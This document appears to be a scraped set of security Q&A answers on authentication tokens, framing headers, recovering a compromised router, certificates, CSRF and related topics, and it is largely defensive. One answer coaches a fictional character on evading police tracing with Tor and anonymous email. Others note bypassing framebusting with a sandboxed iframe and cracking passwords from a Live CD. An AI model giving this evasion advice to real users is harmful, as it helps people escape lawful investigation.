There's a problem with you method 2: if you use the user's hash as the encryption key for the token - and the only thing verified in the server is whether or not the token decrypts (no other validation is performed in the token) - then whoever has the user's hash can authenticate as that user. This voids any protection* granted by hashing the user password, you might as well store it as plain text...

I'd suggest not bothering to encrypt the token (since it has no sensitive data in it), only signing it with a secret known only to the server, and verifying that the signature is valid when the user tries to authenticate using method 2. Note that by "signature" I mean either a digital signature using a private key known only to the server, or a HMAC using a similar secret. Remembering not to store this secret in the DB itself, but in either a hardware module, memory-only or - if you has to - a configuration file.

* To be fair, at the very least the password itself will still be protected - only your system will be vulnerable, other systems where the user has reused that password won't be negatively affected.


How can I explain to non-techie friends that "cryptography is good"?

"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account."

The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa.

It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money.


Is frame busting javascript required despite x-frame-options

There's really no need for framebusting script now, no. In fact, at this point even X-Frame-Options is kind of legacy; the thing you keep around in case somebody is still using IE, but not the primary protection. That should be the new CSP frame-ancestors rule, which is both better-standardized than XFO and more customizable than (the common implementation of) XFO. XFO is supported even on browsers from 11 years ago, so old they only run on operating systems already went out of support themselves. Nobody should be unable to use it, not for the usual "sameorigin" or "deny" values.
Framebusting script was also never perfectly reliable. The number of people who browse with strict NoScript or similar probably exceeds the number the number who use browsers that don't support XFO, even though script is pretty essential to the modern web. These days, if I wanted to get around framebusting code, that's easy - iframe with the sandbox attribute blocks script inside the frame - whereas there's no way for an attacker to disable XFO (or CSP) unless the page is served over plain-text HTTP and the attacker has a man-in-the-middle position on the network.


The police trace the email account that sent the emails (i.e. Microsoft, in this case) and contacts the email service for information. The email service checks its logs for the IP and any other information tied to the account and the device that sent the emails. The account might be closed but the logs last far longer than the account.
The police then trace the IP to see where it was sent from. In this case, it will be a VPN, but most VPNs keep logs, so the police can get the real IP of the user. The police take this IP and go to the mobile phone provider and ask who was using that IP at the time the email was sent, and the mobile provider gives the police the user's account.
I would suggest that the character not send emails the way you outlined if they do not want to be caught. Use Tor on a desktop to contact a secure email service like Protonmail and send emails from there. Services like Protonmail do not collect user data and Tor masks all the IP traffic. The police won't have anything to trace at any point.
There are also other things the character could do to be even more secure, but for the purposes of a novel that isn't about security techniques, Tor and secure/anonymous email services are enough to be plausible that the police won't find the character.


How do I deal with a compromised network device?

This answer is based on How do I deal with a compromised server, but adapted for embedded devices and home/SoHo users. I still suggest you read that answer when you have time, but here's the (somewhat) short version.

First steps, to be done as soon as possible

Isolate the device from the network. Disconnect all Ethernet cables, turn off Wi-Fi at the hardware level if possible (note that removing antennas isn't safe as the device may have internal ones as well) or at least make all your devices disconnect from its network. That would at least prevent the malware from doing more damage (such as launching denial of service attacks, being a command and control server, or hosting a questionable site). It will also mean a human operator can no longer see what you're doing in real time and evade your actions, nor laugh at your failed attempts.

Now, you need to consider any computer or data exposed to the device to be potentially compromised. The device may have attempted to exploit other computers on the network, which is very advantageous as the attacker is now inside your network, past any firewalls. Your computers may trust the local network so they are at a higher risk.

Did you browse HTTP sites through a network connection provided by the router? The page may have been tampered with to include evil stuff, the binaries you downloaded may have been replaced with malware, or the router logged the data you submitted on there (passwords, etc) and forwarded it to the attacker.

Does your device include a storage drive? Consider the data on it compromised as well. Your PDFs may include exploits, your binaries may have been replaced by malware, and your nude photos may have been uploaded somewhere. Notify anyone who had their data on there about the issue so they can take proper action.

Does your device do wireless? The encryption key is compromised and should be changed on any other access points that host the same wireless network with that same key.

Finally, the administration password of the device is compromised and should be changed everywhere you reused it. If other devices on the network used the same password they could've been compromised just by logging in as administrator and asking nicely to install this new firmware "update" which is the malicious version.

Examine the issue

Now, the affected device has been taken offline and shouldn't do any more damage. You should now try and understand how the attacker got in to make sure this does not happen in the future.

Take a look to see the attacker got in - was it a vulnerability in the firmware (sadly way too common in such devices) or a default admin password?

On an up to date machine and browser, try to connect to the device and take a look through its web interface for clues. Was the web interface accessible from the outside (often called "remote management") ?

Try to see the extent of the compromise. I'm not saying a web interface that looks normal means everything's fine, but that for example if you see malicious DNS server addresses in the DHCP settings you can be sure that this malicious DNS server was indeed offered in all DHCP replies coming from this device. You can also gather info by looking into port forwarding entries - the attacker may have forwarded some ports to your internal machines to be able to connect to them - in that case those machines are compromised as well.

Take a look at your other devices themselves - is there anything out of the ordinary, like abnormal traffic coming from them (DoS attack), strange tampering with unencrypted data (injection of malware or ads into HTTP pages), etc?

Backup the configuration

If you do not have any documentation on how the device was configured, browse the web interface and copy/paste the important values somewhere, like the PPPoE login, DHCP assignments, and port forwards, if any. Make sure to review the settings so that you're not accidently keeping settings made by the attacker designed to ensure access to your network.

Do not use the built-in configuration backup feature. Most of them export the configuration into an obfuscated/encrypted binary file (human-readable JSON sounds too convenient according to the firmware's developers), and you would have no way of examining it. The code that imports the file may have a vulnerability, and the attacker may have planned for that by making the device return a malicious configuration backup file that would compromise replacement devices where you import this configuration again.

Recovery

You understand how the attack happened and how to prevent it in the future, how do you recover this particular device though?

Network equipment is often quite different from the computers and servers we are used to - their bootloaders do not allow us to easily access a trusted environment before the compromised OS takes control so that we can make them boot onto trusted installation media and overwrite the compromised OS like we can on computers by inserting a disc and making the machine boot from there. As a result the procedure is more complicated and greatly differs between manufacturers.

Why isn't a factory reset sufficient?

A lot of people would recommend just resetting the device, but this approach is flawed.

Resetting is controlled by the OS. If you do the reset from the device's web interface or reset button, nothing guarantees it will actually reset as the entire web interface is now under control of the compromised firmware, so it can very well "fake" a reset by erasing the configuration and rebooting the device, while leaving the malware alone.

Reinstalling the firmware, or the right way to do it

Reinstalling the firmware is the correct solution, but again, where with conventional computers we can just make them start from known good installation media (thus not loading whatever malicious OS may be on the computer), we can't easily do that with embedded devices such as routers.

Reinstalling from the web interface has the same issues as the reset, as malware could either disable the feature, fake it or do it properly and tamper with the new firmware image on the fly to embed itself into it before installing it, so that even though you are indeed running new firmware it'll still have a little present in it.

Reinstalling from the bootloader itself would work assuming you trust the bootloader. It can be tampered as well, but just like with computers the risk is often dismissed due to the complexity of such an attack, as the malicious bootloader would only work on that particular model and revision, making the attack not cost-effective and would require the attackers to invest in buying the same devices for testing (where as a malware binary would merely require a virtual machine for the device's architecture, and would be portable across all devices sharing the same architecture).

There are multiple ways you can access the bootloader and reinstall directly from there, without loading the malicious OS. They vary from manufacturer to manufacturer, and the documentation often doesn't specify it - the manufacturer may have used an off-the-shelf bootloader and didn't even realize it had that recovery feature. I would recommend searching the OpenWRT table of hardware to see if they have an entry for your device. Chances are it describes how to access the bootloader via TFTP or serial and load a firmware image. You can use this procedure to load either the manufacturer's image, or OpenWRT if it supports your device well enough.

Programming the flash chip, but seriously just buy a new device

When everything else fails, and for some reason you can't buy a new device, there is a way to program the flash chip from a trusted machine, completely bypassing the malicious code that could be on there. The correct procedure varies by manufacturer and model, requires special hardware to interface with the chip (often they use an SPI or I2C interface), and you'd have to get the partition layout right as the firmware files provided by the manufacturer often include only a single partition, or are in a custom format that should be decompressed properly before it can be written onto the flash.

Make sure it doesn't happen again

First off, do not put the device online until all other devices on the network have been cleaned, otherwise you risk having your malicious devices compromise the clean device, and the cycle repeats.

Now, understand how you can protect yourself in the future, based on clues gathered before on how the device was compromised in the first place.

If it's human error (bad password, web interface accessible remotely, etc) make sure it doesn't happen again and check your other devices to make sure they don't share the same flaws.

If it's an exploit, check the manufacturer's website for a firmware update. Consider using alternative firmware such as OpenWRT, as it's better maintained compared to the official firmware which is notorious for being awful on most consumer-grade devices.

If there are no updates available, consider switching vendors. Choose one that has a good security track record. If you're a home user consider investing into enterprise devices which often have better firmware. Or invest into a device that is supported by good alternative firmware such as OpenWRT or PFSense. Or build your own. The truth is, for most home and SoHo users, an old desktop computer with a Linux distribution would do wonders as a router and can be maintained and kept up to date just like any other server.

Plan for it to happen again

I would be fairly confident to say that this incident took you by surprise and that you suffered several hours of downtime. The next one shouldn't be this way. Bookmark this page, make sure to document everything, have the configuration settings at hand, so that in case this happens again you can set up a replacement device a lot faster.


I'm not sure exactly what type of attack you are referencing but consider this...if an attacker controls your router what is to stop them from making any arbitrary change to unencrypted data?  The packets pass through the router and the router could (if desired) make any change to the packet that the attacker desires (assuming he has taught the router how to make the changes properly).  If the data is encrypted end to end this becomes much more difficult to pull off (still possible through a more complex attack path).


Is a certificate with more bits than its parent more secure?

Neither 2048 nor 4096 bit RSA can currently be broken. Thus the question is how it affects the security of the data if the attacker sniffs the data today but manages to break the keys in the future:

The keys of the CA are only needed to validate the certificate chain. The compromise of the keys which are used for establishing a connection does not make it possible to decrypt sniffed data.
The key of the leaf certificate is used to authenticate the server which is not a problem either if the key gets compromised later.
If RSA key exchange is used instead of the recommended DH/ECDH key exchange the key in the leaf certificate is used to protect the exchanged symmetric keys. Compromise of the RSA key will allow to remove this protection on sniffed data and thus makes it possible to decrypt sniffed traffic. In this case RSA-4096 will give more security than RSA-2048 because the efforts needed to break it are much higher. But, in practice the attacker will probably try to get to the private key not by breaking RSA but by compromising the system where the private key is stored or by using the law to get to the key. In this case RSA-2048 and RSA-4096 both provide the same security.

In summary: RSA-2048 is enough for CA certificates today. Use of RSA-4096 in a leaf certificate might in theory better than RSA-2048. In practice it is only better if RSA key exchange is used. But using this key exchange instead of DH/ECDH is not a good idea anyway because the private key of the certificate might be compromised in easier ways apart from cracking RSA.


Can a PC without VPN expose the public IP of another PC with VPN on the same local network?

It is irrelevant that they are in the same network. If the PCs are clean (free of malware, etc), there should be no such issue.

Exception to this is if you use 'internet connection sharing' between them. This combined with default routing distances can cause things to go out through the wrong way.

So if there is no ICS or malware on the computers, everything should be fine. At most, if they both have public IPs, the other IP can be determined if the whole IP subnet is scanned, so one could determine that you have another PC in the same network.


How to not reveal that you are using PHP?

Don't provide any information to anyone unless its absolutely necessary.

You should set expose_php=off in your PHP.ini.  This tells PHP not to expose the "x-powered-by" HTTP header as well as the strange quarks that can be used to identify it.  You should also set display_errors=Off which could be used to identify PHP as well as error-based vulnerabilities like SQL Injection.  These two configurations should be used on all production systems. You can go a step further and remove or change the .php extension with mod_rewrite.

This is along the same lines as "banner information disclosure",  which is revealing version information via service banners.  You should be able to configure your HTTPD to suppress this information. In an Apache production environment set ServerTokens ProductOnly (thanks tftd).  But this will just remove the version number, if you want to remove the word "apache"  you have to use mod_security.

You could also lie >:).  You can use mod_header to set any header,  including a fake x-powered-by, and just adopt .aspx file extensions using mod_rewrite.


How to know if setroubleshoot is running in Centos 7.2

Found it. The problem is that setroubleshootd does not run permanently in CentOS 7.  It is started only when an AVC denial message reaches auditd.  This is confusing, since you normally expect a daemon to constantly run in the background.

See: SELinux User's and Administrator's Guide: Which Log File is Used


This is the current state of the menu definitions from their GitHub repo. It looks like the SMS module was disabled May 30th, 2014 in this commit. No explanation of why. You could file an issue on their GitHub and ask.


Is a web app vulnerable if it only uses session token in cookie to authenticate a user

A site using session tokens is not a vunerability as long as the tokens are long enough that they can never be realistically brute-forced or guessed. This means that the entropy should be at least around 64 bits, but preferably more.

Why is this not a vunerability? It can't be exploited. You can steal the session cookie if you have access to their PC, but you can also just steal their password or login from their PC. The session cookie doens't add any vulnerability.

  There were also xss vulnerabilities that could allow me to get session
  token of the victim

Now, that is a vunerabilty.

  i want to understand a web application that gives access to anyone with valid session token no matter if they are on different devices with same token

That's also not a bug or vunerability, but a feature. What if a user updates their browser during a session? Their user-agent would change, but you wouldn't want them to have to login again. You also should't bind sessions to IP-addresses as users can change IP at random, especially when not at home.


Why do we need to differenciate between External Interactor and a Process?

We differentiate so that it's easy to know what's in scope of the threat model and what's out of scope.

An external interactor is something that the component(s) we are modeling interact with, but which we do not want to cover in this threat model.  A process in a threat model represents a component (or collection of components) that we do want to cover.  When someone looks at your diagram, they'll very quickly know what's in scope and what's out of scope if you use these two denotations.

For example, if we are modeling a web browser and that browser does DNS lookups, we may not be interested in modeling the DNS server.  As such, we can denote the DNS server as an external interactor.  However, we are interested in the behavior of the web browser, so we denote the browser as a process.

We need external interactors because they provide input to the component that we are modeling.  In the case of the web browser, we are not interested in modeling the web server, but we do need to ensure that the web browser properly handles data received from the DNS server - for example, DNS names with 64 characters in a (sub)domain (between two dots) have historically caused browsers to crash.  If we leave the DNS server out of the diagram, then we are also leaving the inputs from the DNS server into the web browser off the diagram.  In the case where we are modeling a complex server application, and the client application is out of scope, if we leave the client application off the model then we miss the opportunity to discuss authentication and authorization controls around the client-server interaction.

We also need external interactors because they receive output from the component we are modeling.  If we leave the output off the model, then we lose the opportunity to discuss the content of these outputs, and that they are correct.


Do password crackers / brute-force attacks put a higher priority on "picture-passwords"?

They very well could.

Actually it depends on the content of the dictionary of the cracker. The person that handles the cracking will (as you probably know) start with a dictionary of real words and known passwords, then once the dictionaries have been exhausted, the hacker will start using masks before doing a real brute-force attack.

So now that you put this post here, more hackers will add such "known passwords" in their dictionary. If I was one, I would - right now :)

Now it depends on the person cracking the hashes : they don't have the same dictionaries.


Offline registry analysis - Hardware info?

Yes and no. People can get information about your hardware by opening up the computer. However your asking more specifically about the Registry. Well the machine needs to be on. But you don't need to be booted into Windows. You can access the registry using a Live CD. Using a Live CD on the local computer you can achieve an also lot. Such as run better virus scans, crack passwords, add files to the system, remove files from the system, modify files on the system and much more. However the computer will most likely need to be on and have access to the internet or the network in order for someone to access the registry.


Atypical DRM situation: distribute pictures to select partners, then prevent them from reusing them

On a general basis, proactive measures do not work. For instance, your "specific reading application" is defeated by using virtualization: the guest operating system and its applications (including your reading application) believe that they have full control of the machine, but the machine is not a real one, and the host can easily keep screenshots at will. Also, see KVM over IP devices: from the point of view of the connected machine, such a device is a normal display, but screen contents are then sent over TCP/IP, making screenshots a piece of cake.

The best that you can hope for, realistically, is to make aware your users that reusing the pictures is not allowed. I mean this in a legal way: if they must go through various hoops such as virtualization to copy the contents, then at least they will not be able to claim that they did it "in good faith". Even this will be hard; for instance, if you send me a Windows-only application on a CD, I will have to use virtualization to run it, since my main machine does not have any Windows.

Once you have your legal tools, there remains the problem of detecting unauthorized reuse of the pictures. For reuse "on the Web", the tool to use is watermarking: embedding some data within pictures, in a way which does not degrade (too much) image quality, but resists various treatments which can be done on the pictures, such as cropping, recompression or adjusting colour balance. This is a hard problem; there are various commercial solutions of questionable robustness. The name is quite adequate: this is akin to "writing on water". Assuming that you have a secure watermark in your pictures, the "only" remaining task is to roam the Web, downloading all the pictures, and looking for the watermark; if detected, send a lawyer squad at the offender.


If I host it on HTTPS, only then the remaining 2 headers are necessary?

No, that's not enough. Headers aren't mutually exclusive for HTTP or HTTPS.

HTTPS doesn't eliminate the vulnerabilities that some of the headers are meant to protect you against.
E.g., the X-Frame-Optionsheader prevents cross-origin framing to stop clickjacking attacks. This risk is unrelated to an encrypted connection and makes sense for sites served over HTTP and HTTPS likewise.

Also, there are no "HTTPS headers", it's just that HSTS (Strict-Transport-Security) and HPKP (Public-Key-Pins) are HTTP headers that specifically instruct the browser how to behave for HTTPS connections.

  [ ...] if I have a blog which serves pages on HTTP and has no HTTPS redirection, then only the first 4 headers are necessary.

Since HSTS instructs the browser to only connect over HTTPS for a given time and HPKP specifies public key hashes for the certificates that the browser should accept, you're correct that these two headers wouldn't make sense for a plain HTTP website. However, depending on your application, just setting the headers from your list won't guarantee you a secure website. I'd recommend you study each header's purpose and other possible measures to protect your site.


how unsafe is it for Windows webserver IIS to have domain privileges

This generally isn't much of a problem.  Lots of people need to do this.  There is a good discussion on the IIS forums here: http://forums.iis.net/t/1175096.aspx

There is also a good high level overview on TechNet: http://technet.microsoft.com/en-us/library/cc731278(WS.10).aspx

And the ports required for Windows Auth: http://support.microsoft.com/kb/832017


How to prepare for protecting identity after death?

The certainty of ultimate demise, be it biological or simply administrative (in a business context, employees retire or are fired, either of which being equivalent to dying from the employer's point of view), means that backups must be used, in particular for cryptographic keys which are used for encryption. For instance, if you receive encrypted emails, then those mails cannot be read without using the private key. Loss of access to the private key implies loss of access to the emails themselves, something which your successor may not like at all. In practice, if you use PGP for business reasons, then there should be a copy of your private key (the one for encryption, not the one for signatures) somewhere in a corporate safe.

As for your online estate (blogs, Facebook accountd, StackExchange reputation... are all some kinds of property to which you could attribute some value, and for which you have postmortem plans), the "normal" way of dealing with it is through a notary, who is a trained professional at such questions. Unfortunately, notaries are an institution from the Middle Ages, which is not structurally well prepared to cope with fast-changing data: you do not want to pay a visit to your notary each time you change a password. So I would suggest the following scheme:

You choose a master passphrase (a big fat passphrase of high entropy).
You maintain a "passwords file" containing your credentials for your various accounts, possibly with instructions on what to do with each of them should you happen to pass away.
You encrypt that file with GnuPG, using the master passphrase as key (with the command line version, use the -c flag).
You copy the file on two or three storage mediums (USB keys, harddisks...).
You write the master passphrase and some instructions as to where the storage mediums are into a sealed envelope, which you give to your notary, who will deal with it when the time comes (Use a laser printer ! Inkjet prints tend to fade over time).

You will probably modify the stored files regularly, which is a good thing, since storage mediums might not keep data unaltered for decades. GnuPG follows the OpenPGP standard, which is open and well supported, and thus there should still be implementations around in 40 years (or, at least, a working implementation would not be too hard to make).


Two factor authentication: Why ask for password first?

If your model suggests doing so without the username also;

You can't do this because not all 2FA tokens are the same. Each token is unique (secret key) and therefore you must identify the individual attempting to login before you know which token you are dealing with to check against it.

In the manner you suggest submitting any token code will immediately validate to an unknown user whose token happened to be valid at that time, or no one, which in large websites with many hundreds of thousand of users increases the likelihood of hitting the correct code for any one of those users. Especially since modern 2FA usually employs some kind of window allowing codes to remain valid before and after the current correct iteration (accounting for clock skew and other time difference sources). So each user could likely have many valid codes available at a time, further increasing the chances of success.

I'm not sure you would be able to withhold the information from the user if they typed the wrong password either. I agree you don't send a code (in the case of sms or email codes), but if the user does not understand that the site had a problem, and what that problem is, it creates a frustrating experience for them (as you pointed out in your cons of part 2). Companies hate frustrated customers a lot more than they hate lower security.

Lastly, this would create a way for attackers to run spam that comes from a legitimate business in the case of SMS and email codes. Clicking the send my code button for all codes ever, even with cool-down will get annoying if it keeps appearing every cool-down.

If however in your model you suggest that the username is required;

If username and then the code is required, and a cool-down period is applied to prevent attacks, I would still advise against it. In that case, by only knowing the username, I can run a DOS on that user, forever, with little to no effort. Simply specify username and keep submitting codes. The lower you make the cool-down, the better it is for the user, and attacker, brute-forcing essentially a 6 or 8 digit all integer password. The longer the cool-down, the worse for the user, and better for attacker doing a DOS. In both cases the user loses, attacker wins.

To sum it all up the reasons I think the internet gravitated toward this system are as such:

Username/Password systems were already in place at the time and hardware 2FA were the first ones to arrive, meaning it was absolutely required to know who the user was first.
2FA implementations, even ones in software (the kind to send to email and SMS) are often the same methodologically as the hardware keyfobs. Thus have the same identification requirement.
Servers are good at dealing with a flood of requests in the case of attacks, end-users are not.
It is simpler to verify someone's identity with their predefined credentials directly with the server first rather than rely on a multitude of systems which you are not certain are currently up (server01 > sms service > GSM > air > Tower > iPhone > User > internet > ... > server01).


Systematic exploitation of software components

I think this is probably a purely numbers game - there are a lot of people whose sole occupation is looking for security holes. Many of these people work for security consultancies and security service companies, and the kudos of finding and reporting is worth a lot to their brand.

There are some fruitful strategies as well - for example, fuzzing input parameters can often cause unexpected crashes and error messages and these may not be security issues, but they certainly suggest that further investigation would be useful. Chasing product update cycles is also interesting - software updates are surprisingly rich in security issues quite often because they may be released in exceptional circumstances such as time constraints or lower QA testing etc.

In the end though it's just the number of people and the number of hours applied I suspect.


How much more difficult does it become to crack a password when appending a 5-digit pin?

A 5 digit decimal number has 100,000 possible states, so it increases the time to crack by factor 100,000.

This assumes that the cracker expects you use a common word plus a 5-digit number.


From the documentation, it's not the SIMs that are the concern, its if the carrier installs the S@T toolkit on it.

To detect the vulnerability, one would have to know how to detect the toolkit. [As of this writing, there appears to be no methods offered to the public to detect the toolkit]


Is there a term for a "Master + extension" style password scheme?

I don't really know if there is a term for that. But I propose Smurf passwords.

As an adaption of the term Smurf Naming Convention. Seen on New Programming Jargon, jargon No. 21, by Jeff Atwood.

Note that this term has (IMO) no negative connotation, and it is kind of funny, so it would be easier to remember it


standard operating procedure for pen test

Special Publication 800-115 Technical Guide to Information Security Testing and Assessment will help you in creating an SOP for security testing.


Is there a 'key space' equivalent for encryption keys?

The key space is the set of all possible keys that you may choose for both encryption and decryption keys.
In the case of symmetric key algorithms, both encryption and decryption keys are the same. However, in asymmetric-key algorithms, with one key for encryption and another for decryption, we refer as the key space for both scenarios.
I hope that this explanaton will help you.


How to secure unprotected Telnet Server on Droid 3

I can't immediately test this, but it should be either of these:

/etc/init.d/telnetd stop
/etc/xinit.d/telnetd stop

You need to have a shell, there are terminal emulators for free in the playstore.


How do shared IP addresses work and do they give privacy?

NAT stores connections into a tuple in its NAT tables, for lack of typing an RFC like answer, works like this: Assume you and I are on the same network

You (10.1.2.3 internal) --> router/firewall 10.1.2.3:80 internal 1.2.3.4:1000 external
Me (10.1.2.10 internal) --> router/firewall 10.1.2.3:3000 internal 1.2.3.4:2000 external

When you make a connection anywhere, the device performing NAT stores info as a port (tuple) both inside and outside. When you leave, and come back, it matches this tuple. This is how both you and I, and others on the same network, can all visit Google simultaneously with the router/firewall knowing to send: "Pokemon" searches to you, and say "Cupcake" searches to me.

There is minor privacy behind NAT. While the average person will see one address, anyone with access to the firewall/router can pinpoint who did what. Further, on the public side of the equation, there have been discussions concerning the reality of privacy and NAT. See: "A Location-Privacy Threat Stemming from the Use of Shared Public IP Addresses"

Also see: "Analysis of Solution Candidates to Reveal a Host Identifier (HOST_ID) in Shared Address Deployments"


OSes that are mathematically proven to be 100% (or 99%) secure?

The OKL4 Verified microkernel has passed the most stringent of Common Criteria evaluation assurance levels (EAL 7). Even this doesn't mean that it's "secure", "100% secure" or "more secure", it just means that it has been formally proved that the microkernel's implementation is compatible with the security model defined by the vendor.

Such a security model will contain assumptions about the environment and mode of operation of the software that may not be consistent with your environment. Taking a different example, when the Target of Evaluation is a commercial operating system the model usually assumes that all of the operators are benign and that any remote system to which the evaluated device is connected will also be consistent with the security model of the ToE.


What to do after rejecting an invalid CSRF token?

I take it that this is for the "synchronizer token" pattern, and not "double submit cookie", since tokens don't really expire in the latter case.

You can mitigate the problem by making your CSRF-tokens more long lived. Only have one token per session (as opposed to per form), and make it as long lived as the session. So if the CSRF-token has expired, so has the session. And then the request should be rejected anyway.

That said, if for some reason you get a request with a valid session but an invalid CSRF-token, what should you do? As you say, status 403 is a good choise. For an API, you could respond with some kind of error object or message explaining to the client what went wrong. Or just an empty body, if that is how you deal with errors.

For classical form submissions, it's a bit trickier. If you want to play really nice, you should respond with the form in the same state as the user tried to submit it, plus an error message. This is a bit of a hazzle to implement, but perhaps you have a similar system in place already for other errors.

Note that you can return the new token (as a cookie, or form field, or whatever) already in the reply to the first request with the expired token. No need to make the client make another request just to get it.


I think we need to consider here definitions of the word "offline".

As you suggest, the following are conflicting requirements:

Have the Root CA be powered off except when issuing / revoking a Subordinate CA cert.
Have the Root CA issue frequent CRLs.

The solution I see deployed most often is to do "soft air-gapping" or "soft offline" through firewalls so that the Root CA can still push new CRLs daily or hourly to be picked up and re-published by the CDP or OSCP responders. Block all other traffic to / from the Root CA machine.

I have even heard of one clever solution where the Root CA pushes CRL data over its audio line-out jack, which is a one-way port at the hardware level.


As was pointed out by @Daisetsu this a common thing to see in web access logs these days on anything exposed to the internet (it is mostly automated).

Per the comments I'm going to recommend you install/configure a Web Application Firewall.  You can find several good ones by doing a quick online search (trying to stay product neutral).  Most of these come pre-configured with some basic rules to filter out blatant/known bad stuff but you can/should also add custom rules if you have some special/unusual components to your application that need to be monitored/protected.  If you have a web application of any kind exposed to the internet you probably should have at least a basic/out-of-the-box WAF unless you know for sure you don't need one for some reason.


Verification-less signup when user has been invited?

In general it isn't necessary to require the user to re-enter their email address if the link is received via that same email address. It is important though to use SSL, expire the link as soon as a password is created, and consider expiring the link if no password has been created after a certain amount of time.

That being said, it is slightly more secure to still require the user to re-enter their email address. It's possible that an attacker could gain access to the link without the email, for example in a browser cache of a user that clicked the link from a public computer and then didn't finish setting a password. However, I would consider this scenario pretty contrived, when compared to the convenience of pre-filling the email.


... use the app's keys

This means perform cryptographic operations using the key, like signing or decrypting something.

  ... cannot extract their key material (for example, to be used outside of the Android device)

This means the attacker cannot extract the keys from the device, i.e. he must always have access to the device for doing operations with the keys. This is possible if the attacker has stolen the device or has a remote backdoor to it - but ultimately the owner will know that the device could be compromised and can make the appropriate mitigations, like revoking the keys so that no new messages will be encrypted for the owner using this compromised key.

If instead the attacker would be able to extract the keys from the device than a short access to the device might be enough and the owner of the device might not realize that the keys are compromised since the device is still there and it does not look compromised either. Thus the keys will not be revoked and the attacker might be able to decrypt future messages too or impersonate the owner of the keys.


Any security risks for the login authentication and change password on the same page?

Normally the user needs to authenticate first in order to see the password change form.

By entering the user name and password, the system should first authenticate the user and once authentication is successful, the password should be changed. This is something that can't be verified using the example URL you gave.

However, in this case I would recommend to have an anti Cross Site Request Forgery mechanism implemented in this specific form in order to validate the origin of the request.

In addition, it is recommended to implement some sort of anti scripting mechanism to prevent bots from guessing credentials and then change them upon a successful login. E.g.: rate limiting or captcha after x amount of failed requests.

As far as your question if there are any security risks, my answer would be: There might be, but it highly depends on the implementation. Unfortunately this is not something that we can determine without having an account on one of these applications.

From what I can see on the example page you gave us, there is no anti CSRF mechanism in place, which in theory could start a brute force attack on your behalf if you would visit a malicious website that contains this type of code.


Is it possible to mac-spoof Xfinity Wireless?

It looks like this is a known vulnerability, aka CVE-2017-9475.

The National Vulnerability Database currently assigns this a CVSS 3.0 score of "5.9 - Medium", but claims the "attack complexity" (AC) is "high". However, CVSS 3.0 only provides two values for AC anyway -- either low or high:

  Low (L):
  Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

  High (H): A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may depend on an attacker overcoming any of the following conditions:
    - The attacker must conduct target-specific reconnaissance. For example, on target configuration settings, sequence numbers, shared secrets, etc.
    - The attacker must prepare the target environment to improve exploit reliability. For example, repeated exploitation to win a race condition, or overcoming advanced exploit mitigation techniques.
    - The attacker must inject herself into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g. man in the middle attack).

Also, some good recommendations (such as the use of wifi certificates) are included here as well: https://github.com/BastilleResearch/CableTap/blob/master/doc/advisories/bastille-17.public-wifi-theft-impersonation.txt


How to secure an application under iOS against jailbroken devices

You have two problems (or more).

Firstly, anything you might try to do to detect a jailbroken system could be interpreted by Apple as an attempt by your app to violate the sandboxing conditions, which could lead to your app being rejected. For example, let's say you tried to detect a jailbroken OS by if (-1 != open("/dev/random", O_RDONLY)). Apple might assume you're trying to read from /dev/random and reject you.
Anything you might try to do to detect a jailbroken system could be patched by the jailbreak community. For example, they might patch their kernel to forbid your app from opening /dev/random, because they know you're only doing it to detect a jailbroken OS.

What else would you want to do? You don't trust the OS you're running on, so you give up running on it.

In short, jailbreaking is not your problem, it is Apple's problem. Allow Apple to solve their problems and concentrate on solving yours. (Incidentally I do wonder how people ever released PC software if they don't trust jailbroken iOS, when Windows and jailbroken iOS basically allow the same things to happen.)


Preventing/Detecting forgery of logs generated in a potentially hostile environment

If you run a service on a machine you don't trust, it will only generate results you cannot trust.

Even if you authenticate the logs somehow, they can change the log anyway, because they have access to the sourcecode. I assume you use some interpreted language (PHP, Python, Ruby) on the application.

One way to have secure logs is to send the entries offsite as soon as they are generated. Write the logs on a local file, but at the same time send them to your trusted server. A web service will be nice.

It won't prevent the malicious users to forge log entries and send it to you, but will make impossible to them to change the logs on your trusted server. If you send the logs using SSL, they cannot change the logs on-fly.

Later you can compare the consolidated received logs and the logs sent by the web service to see if they match.


Parallel systems, in case any of two has known exploits

While most items have already been picked up and discussed by dr jimbob in his answer, I would like to draw your attention to the following:

This kind of problem is called "common mode failure".
Nancy G. Leveson has studied common mode failures and the purported solution of redundant software (software stacks, as you describe) and noted that commonality may go much deeper than expected. For instance, both systems may share an implementation of some protocol, which means you're hosed if there's a vuln sitting somewhere inside. The same developer may have been hired by the two companies, or the coders were too lazy and unimaginative to invent their own algorithm and simply picked the same algorithm from a publicly available source. There's really no limit to such commonalities, and you cannot rule out any of them without thorough examination of the code.
Having both stacks online means a gifted and resourceful adversary will be able to get inside both and possibly subvert the switching mechanism.
Having a hot and a cold stack means the cold stack has to be kept up-to-date with all security patches (hence, it's not entirely cold, even if updates are done behind the air-gap, and does not provide total availability).
The biggest drawback of your scheme is that there is a fundamental commonality in place: both systems are implemented in software. If you really want to defend in depth against an advanced threat, build a separate, simplified system that does not rely on sophisticated networks. Plain old telephony (even sound-powered telephony) and human operators are very useful for this very purpose.